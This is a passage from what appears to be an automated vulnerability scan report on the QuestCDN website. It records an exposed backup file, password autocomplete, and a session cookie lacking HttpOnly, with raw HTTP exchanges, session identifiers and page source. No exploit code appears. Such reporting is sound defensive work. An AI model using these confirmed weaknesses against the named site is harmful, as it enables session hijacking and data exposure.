onmouseover="this.src='{!a:appContext!}/images/buttons/bd_contact.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_contact.gif'"></A></TD> </TR> <TR height=22> <TD bgColor=#666530 height=22><IMG height=22 alt="" src="{!a:appContext!}/images/banners/ba_main_right.gif" width=323 border=0></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR> <TD bgColor=#126666> <TABLE cellSpacing=0 cellPadding=0 width=750 border=0> <TBODY> <TR> <TD align="left">&nbsp;</TD> <TD align="right"><TABLE cellSpacing=0 cellPadding=0 border=0> <TR> <TD><A href=""><IMG height="28" alt="Member Benefits" src="{!a:appContext!}/images/buttons/bu_main_member.gif" width="122" border="0" name="b_main_member" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_member.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_member.gif'" onClick="return displayMemberBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Provider Benefits" src="{!a:appContext!}/images/buttons/bu_main_provider.gif" width="125" border="0" name="b_main_provider" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_provider.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_provider.gif'" onClick="return displayProviderBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Demonstration" src="{!a:appContext!}/images/buttons/bu_main_classif.gif" width="109" border="0" name="b_main_demo" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_classif.gif'" onClick="return displayDemo()"></A></TD> <TD><IMG height="28" alt="Classified Ads" src="{!a:appContext!}/images/buttons/bu_classif.gif" width="101" border="0" name="b_main_classified" onmouseover="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onClick="return false"></TD> </TR> </TABLE></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR height=5> <TD height=5></TD> </TR> <TR> <TD><IMG height=108 alt="" src="{!a:appContext!}/images/elements/el_log_photos.jpg" width=760 border=0></TD></TR> <TR height=30> <TD height=30></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TBODY> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </TR> <tr> <td width="380" colspan="3" align="right"> <!--#IF defined="<?d:SESSION_TIMED_OUT?>"--> <p class="body-bold" height="22" border="0" style="color:red">Your session timed out or<BR> you were not logged in.<br></p> <!--#ELSEIF defined="<?d:SHOW_LOGIN_ERROR_MSG?>"--> <p class="body-bold" height="22" border="0" style="color:red">Incorrect username or password.<p> <!--#ELSE--> &nbsp; <!--#/IF--> </td> </tr> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="Log In" src="{!a:appContext!}/images/headers/log_on/hd_log_login.gif" width=60 border=0></TD> </TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD> </TR> <TR> <TD align=right width=80> <P class=body11>user name:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" size="24" name="username" value="{!d:username!}"></TD> </TR> <TR height=10> <TD width=75 height=10></TD> <TD width=10 height=10></TD> <TD height=10></TD></TR> <TR> <TD align=right width=75> <P class=body11>password:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" type="password" size="24" name="password"></TD> </TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><CSOBJ w="69" t="Button" ht="{!a:appContext!}/images/buttons/bd_submit.gif" h="20" al="submit"><A href=""><IMG height=20 alt=submit src="{!a:appContext!}/images/buttons/bu_submit.gif" width=69 border=0 name=b_log_submit onClick="document.userdata.submit(); return false;" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_submit.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_submit.gif'"></A><input type="submit" value="" style="width:0;background-color:#FFFFFF;border:0;"></TD> </TR> <tr> <td width="75"></td> <td width="10"></td> <td width="185"><a href="forgotPassword.html">Forgot Password?</a></td> </tr> <TR height=50> <TD width=75 height=50></TD> <TD width=10 height=50></TD> <TD height=50></TD> </TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="New Member" src="{!a:appContext!}/images/headers/log_on/hd_log_new.gif" width=125 border=0></TD></TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD> <P class=body>For <B><FONT color=#126666>FREE</FONT></B> membership please click the "join" button below</P></TD></TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><A href="{!a:secureHTTP!}{!s:showPage!}subscribe/sub_form.html?root_page=true"> <IMG height="20" alt="join" src="{!a:appContext!}/images/buttons/bu_log_join.gif" width="69" border="0" name="b_log_join" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_log_join.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_log_join.gif'" > </A> </TD> </TR> </TBODY> </TABLE><BR><BR><BR><BR><BR><IMG height=229 alt="" src="{!a:appContext!}/images/elements/el_main_logos.jpg" width=150 border=0></TD> <TD width=60></TD> <TD vAlign=top width=423> <TABLE cellSpacing=0 cellPadding=0 width=375 border=0> <TBODY> <TR> <TD width=375 colSpan=2><IMG height=70 alt=Welcome src="{!a:appContext!}/images/elements/el_log_welcome.jpg" width=275 border=0></TD></TR> <TR height=20> <TD width=10 height=20></TD> <TD width=365 height=20></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Welcome</FONT></B> to the Quest Construction Data Network - the state of the art in cost effective project advertising and secure digital plan delivery. Our innovative service delivers complete, high quality digital plan sets in the easy to use Adobe PDF format. With QuestCDN there is no middleman &#150; plan providers post their own project advertisements and upload their plans &#150; and once there &#150; they are immediately available to you for downloading!<BR><BR>When you join you will be offered the option of becoming a Regular Member <B><FONT color=#126666>(FREE)</FONT></B> or a Premier Member for an economical, additional subscription fee.</P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Regular Members may: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>view the detailed projectadvertisement</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>download the complete eBidDoc&#153; (digital plan set)</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10>&#149;</TD> <TD width=365> <P class=body>retrieve plan holder information </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>receive emailed addenda notifications</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>view project bid results</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>access the comprehensive industry directory </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>compose and maintain their own directory listing</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>post classified advertisements </P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Premier Members may also: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD vAlign=top width=10> <P class=body>&#149;</P></TD> <TD width=365> <P class=body>browse and search a comprehensiv..
- /questcdn/reports/reports.html~

/questcdn/reports/reports.html~

http://www.questcdn.com/questcdn/reports/reports.html~

Request

GET /questcdn/reports/reports.html~ HTTP/1.1
Referer: http://www.questcdn.com/questcdn/reports/reports.html~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:18 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"1264-1207183577000"
Last-Modified: Thu, 03 Apr 2008 00:46:17 GMT
Content-Length: 1264
Content-Type: text/plain


<!--#REQUIRED data="<?s:privmember?>" -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Quest Construction Data Network</TITLE>
<META http-equiv=content-type content=text/html;charset=ISO-8859-1>
<link href="{!a:appContext!}/css_scripts/verdana.css" rel="stylesheet" media="screen">
<link href="{!a:appContext!}/css_scripts/looknfeel.css" rel="stylesheet" media="screen">
</HEAD>

<BODY vlink="#666633" link="#126666" bgColor="#ffffff" >

<!--#EMBED template="embeds/header_links.html" -->

<tr><td>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>

<table width="240" class="left_list" border="0" cellspacing="0" cellpadding="0">
<tr><td>&nbsp;</td></tr>
<tr><td class="left_list_title">
</td></tr>
<tr><td class="left_list">&nbsp;</td></tr>
<tr><td class="left_list">
<a href="rep_select_project.html">Addenda Notifications</a>
</td></tr>
<tr><td class="left_list">
<a href="plan_holders_rpt_select_job.html?&userPK={!s:userPK!}">Plan Holders</a>
</td></tr>

<tr><td>&nbsp;</td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><p class="body10"><font size="1" face="Verdana">#-COPYRIGHT-#</font></p></td></tr>

</TABLE>
<P></P>
</BODY>
</HTML>
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /questcdn/projects/prj_add_mod/project_modify_grid.html

/questcdn/projects/prj_add_mod/project_modify_grid.html CONFIRMED

http://www.questcdn.com/questcdn/projects/prj_add_mod/project_modify_grid.html

Identified Field Name

password

Request

GET /questcdn/projects/prj_add_mod/project_modify_grid.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:00 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:00 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /questcdn/

/questcdn/ CONFIRMED

http://www.questcdn.com/questcdn/

Identified Cookie

sessionIdentifier

Request

GET /questcdn/ HTTP/1.1
Referer: http://www.questcdn.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:35:51 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:35:51 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
